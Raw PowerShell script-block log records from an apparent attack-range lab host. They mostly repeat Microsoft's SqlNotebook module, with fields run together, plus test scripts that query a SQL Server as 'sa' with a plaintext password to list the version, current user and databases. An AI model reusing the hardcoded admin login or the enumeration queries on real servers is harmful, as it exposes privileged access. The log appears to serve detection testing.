[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_tyf96cc309-d873-4988-8c5e-d3f3f327ece2C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0512828Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate62a776e8-fcbb-401f-8642-158493d2cabc
4104152150x0512627Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local12# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.ToString()
$NotebookCellOutputs += $(ParseStringToNotebookOutput($NotebookCellExcutionTimeString))
}
# Adding the data tables
$NotebookCellOutputs += $NotebookCellTableOutputs
# In the unlikely case the 'outputs' property is missing from the JSON
# object, we add it.
if (-not ($_ | Get-Member outputs)) {
$_ | Add-Member -Name outputs -Value $null -MemberType NoteProperty
}
$_.outputs = $NotebookCellOutputs
}
# This will update the Output file according to the executed output of the notebook
if ($OutputFile) {
($fileContent | ConvertTo-Json -Depth 100 ) | Out-File -Encoding Ascii -FilePath $OutputFile
Get-Item $OutputFile
}
else {
$fileContent | ConvertTo-Json -Depth 100
66685efb-c667-420f-b623-67e9a8230fd3C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0512621Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate8fe34b40-ff1d-4b15-9a6f-34811f5c2ece
4104152150x0512414Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate857f0b66-54d5-4916-b364-633fa4ae8425
4104152150x0512039Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Invoke-SqlTest {
param (
[string]$Query,
[string]$Description,
[ValidateSet('Invoke-Sqlcmd', 'sqlcmd.exe')]
[string]$Method
)
Write-Host "`nExecuting: $Description using $Method" -ForegroundColor Cyan
try {
if ($Method -eq 'sqlcmd.exe') {
& sqlcmd -S $Server -d $Database -U $Username -P $Password -Q $Query -b
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
} else {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Username $Username -Password $Password `
-Query $Query -TrustServerCertificate
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
}
}
catch {
Write-Host "Test failed: $_" -ForegroundColor Red
return $false
}
}9a825273-c430-49ff-9f13-5e11baa6fab4C:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0511963Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
